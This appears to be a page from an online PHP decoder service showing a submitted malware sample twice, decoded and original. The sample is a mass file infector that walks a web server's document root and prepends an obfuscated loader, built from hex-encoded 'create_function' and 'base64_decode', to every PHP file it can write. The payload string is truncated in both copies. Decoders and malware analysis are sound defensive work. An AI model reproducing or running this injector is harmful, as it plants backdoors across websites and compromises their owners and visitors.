Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? set_time_limit(0); function do_it($f,$inj){ global $totalinjected; $c = ..

Decoded Output download

<? 
set_time_limit(0); 
 
function do_it($f,$inj){ 
 
	global 	$totalinjected; 
 
 
	$c = file_get_contents($f); 
 
	if (stristr($c,"zend")) return; 
 
	if (stristr($c,"ioncube")) return; 
 
	$s1=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(47).chr(42).chr(42).chr(47); 
 
	$s3=substr($c,0,10); 
 
	$s2=chr(63).chr(62); 
 
 
	if ($s3==$s1){ 
 
		$k=strpos($c,$s2); 
 
		$k=$k+2; 
 
		$c=substr($c,$k); 
 
	} 
 
 
	$c = $inj.$c; 
 
	$h2 = @fopen ($f, "w"); 
	 
	@fwrite($h2, $c); 
	 
	@fclose($h2);  
 
 
	$totalinjected++; 
 
	return 0; 
} 
 
function do_folder($dir){ 
 
	global $encoded; 
 
	$folders=array(); 
 
	if (is_dir($dir)) { 
 
		if ($dh = opendir($dir)) { 
 
			while (($file = readdir($dh)) !== false) { 
 
				if (($file==".")||($file==".."))continue; 
 
				 
				$k=$dir."/".$file; 
 
				if (is_dir($k)){ 
 
					array_push($folders,$k); 
 
				}else{ 
 
					if (is_file($k)){ 
 
						$ext=explode(".",$k); 
 
						$c=count($ext)-1; 
 
						if (strtolower($ext[$c])=="php"){ 
 
							do_it($k,$encoded."
"); 
 
						} 
 
					} 
 
 
				} 
 
			} 
 
			@closedir($dh); 
 
		} 
 
	} 
 
	reset($folders); 
 
	foreach($folders as $k){ 
 
		echo "Going subfolder $k
"; 
 
		do_folder($k); 
 
	} 
	 
	return 0; 
	 
} 
 
 
$z=$_SERVER["DOCUMENT_ROOT"]; 
 
$encoded='<'.'?php /**/ $_8b7b="create_function";$_8b7b1f="base64_decode";$_8b7b1f56=$_8b7b ?>

Did this file decode correctly?

Original Code

<?
set_time_limit(0);

function do_it($f,$inj){

	global 	$totalinjected;


	$c = file_get_contents($f);

	if (stristr($c,"zend")) return;

	if (stristr($c,"ioncube")) return;

	$s1=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(47).chr(42).chr(42).chr(47);

	$s3=substr($c,0,10);

	$s2=chr(63).chr(62);


	if ($s3==$s1){

		$k=strpos($c,$s2);

		$k=$k+2;

		$c=substr($c,$k);

	}


	$c = $inj.$c;

	$h2 = @fopen ($f, "w");
	
	@fwrite($h2, $c);
	
	@fclose($h2); 


	$totalinjected++;

	return 0;
}

function do_folder($dir){

	global $encoded;

	$folders=array();

	if (is_dir($dir)) {

		if ($dh = opendir($dir)) {

			while (($file = readdir($dh)) !== false) {

				if (($file==".")||($file==".."))continue;

				
				$k=$dir."/".$file;

				if (is_dir($k)){

					array_push($folders,$k);

				}else{

					if (is_file($k)){

						$ext=explode(".",$k);

						$c=count($ext)-1;

						if (strtolower($ext[$c])=="php"){

							do_it($k,$encoded."\n");

						}

					}


				}

			}

			@closedir($dh);

		}

	}

	reset($folders);

	foreach($folders as $k){

		echo "Going subfolder $k\n";

		do_folder($k);

	}
	
	return 0;
	
}


$z=$_SERVER["DOCUMENT_ROOT"];

$encoded='<'.'?php /**/ $_8b7b="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e";$_8b7b1f="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$_8b7b1f56=$_8b7b

Function Calls

None

Variables

None

Stats

MD5 24bf6b22bff2b2c0ffadb9b8f2fc7e30
Eval Count 0
Decode Time 124 ms